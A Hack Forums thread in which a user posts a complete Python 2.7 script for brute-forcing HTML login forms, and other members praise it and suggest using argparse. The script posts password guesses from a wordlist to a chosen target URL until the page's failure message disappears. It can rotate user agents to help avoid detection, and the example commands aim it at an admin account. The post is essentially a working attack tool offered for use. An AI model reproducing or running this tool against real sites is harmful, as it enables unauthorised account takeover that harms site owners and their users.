

Forum:[Hack Forums](#)

Thread: [Python HTML Form Brute forcer](#)

d3v1l0a1 - June 11, 2017, 12:37 pm

Hello everyone, i just made this html post form brute forcer using python 2.7

code:

PHP Code

```
<?php
```

```
# /usr/bin/python 2.7
```

```
import requests
```

```
import sys
```

```
import random
```

```
import string
```

```
def banner():
```

```
    print """
```

```
-----
|      Brute Force      |
|      By d3v1l0a1      |
|-----|
```

```
      """
```

```
def usage():
```

```
    print """Usage:
```

```
Symbol "*" tells that command is required
```

```
-----
| Command      | Description                               |
|-----|-----|
| -h,--help    | Show this message and exit              |
|-----|-----|
| -v,--verbose | Set verbose level to 1 (default= 0)     |
|-----|-----|
| -t,--target  *| Target to brute force                   |
|-----|-----|
| -u,--uname   *| Username                               |
|-----|-----|
| -p,--pass    *| Password wordlist                       |
|-----|-----|
| -r,--randagent | Use random user agent                   |
|-----|-----|
| -d,--data    *| Enter params to send                    |
|-----|-----|
| -m,--msg     *| Fail message                            |
|-----|-----|
```

Example:

```
python brute.py -t http://site.com/login.php -u admin -p wordlist.txt -d "username=^USER^&password=^PASS^&submit=1" -m "Incorrect password"
```

```
python brute.py -v -r -t http://site.com/login.php -u admin -p wordlist.txt -d "username=^USER^&
```

```
password=^PASS^&submit=1" -m "Incorrect password"
```

```
.....
```

```
def brute(url,data,headers,verbose,msg,username,password,count):
    req = requests.post(url,data=data,headers=headers)
    if req.content.find(msg) < 0:
        print "[+] Found => %s : USER: %s | PASS: %s" % (count,username,password)
        quit()
    else:
        if verbose == 1:
            print "[-] Not Found => %s : USER: %s | PASS: %s" % (count,username,password)
```

```
userAgents = [
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
    "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
    "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
    "Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)",
    "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0",
    "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0"]
```

```
agent =
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)"
verbose = 0
target = ""
uname = ""
data = ""
msg = ""
file = ""
count = 0
```

```
if len(sys.argv) == 1:
    banner()
    usage()
```

```
for x in range(0,len(sys.argv)):
    if sys.argv[x] == "-h" or sys.argv[x] == "--help":
        banner()
```

```

usage()
if sys.argv[x] == "-v" or sys.argv[x] == "--verbose":
    verbose = 1
if sys.argv[x] == "-t" or sys.argv[x] == "--target":
    target = sys.argv[x + 1]
if sys.argv[x] == "-u" or sys.argv[x] == "--uname":
    uname = sys.argv[x + 1]
if sys.argv[x] == "-p" or sys.argv[x] == "--pass":
    file = sys.argv[x + 1]
if sys.argv[x] == "-r" or sys.argv[x] == "--randagent":
    agent = random.choice(userAgents)
if sys.argv[x] == "-d" or sys.argv[x] == "--data":
    data = sys.argv[x + 1]
if sys.argv[x] == "-m" or sys.argv[x] == "--msg":
    msg = sys.argv[x + 1]

try:
    f = open(file, "r")
except:
    print "Invalid file name"
    quit()

strr = string.replace(data, "^USER^",uname)
for passw in f:
    headers = {'user-agent': agent,"Content-Type": "application/x-www-form-urlencoded"}
    password = string.replace(passw, "\n","")
    datas = string.replace(strr, "^PASS^",password)
    count += 1
    brute(target,datas,headers,verbose,msg,uname,password,count)

```

Freshnuts - June 11, 2017, 1:52 pm

This is pretty cool man, I checked it out. You got a github? I'll add you up.
I like doing compact projects like these and checking them out.

d3v1l0al - June 11, 2017, 1:58 pm

(Jun 11, 2017 01:52 PM)Freshnuts Wrote: [\[CITE\]](#) This is pretty cool man, I checked it out. You got a github? I'll add you up.

I like doing compact projects like these and checking them out.Hello i just registered on github :
<https://github.com/d3v1l0al>
thank for your reply man

Freshnuts - June 13, 2017, 12:58 pm

For sure man, mine is <https://github.com/Freshnuts>

Clutch - June 14, 2017, 6:15 am

In the future, you could look at the "argparse" library. It does all of the usage printing and argument processing for you

d3v1l0al - June 14, 2017, 10:56 am

(Jun 14, 2017 06:15 AM)Clutch Wrote: [\[CITE\]](#) In the future, you could look at the "argparse" library. It does all of the usage printing and argument processing for you
I use 'argparse' too, but sys.argv looks more simple.

Morphine - *June 14, 2017, 11:04 am*

Looks awesome man, Good Job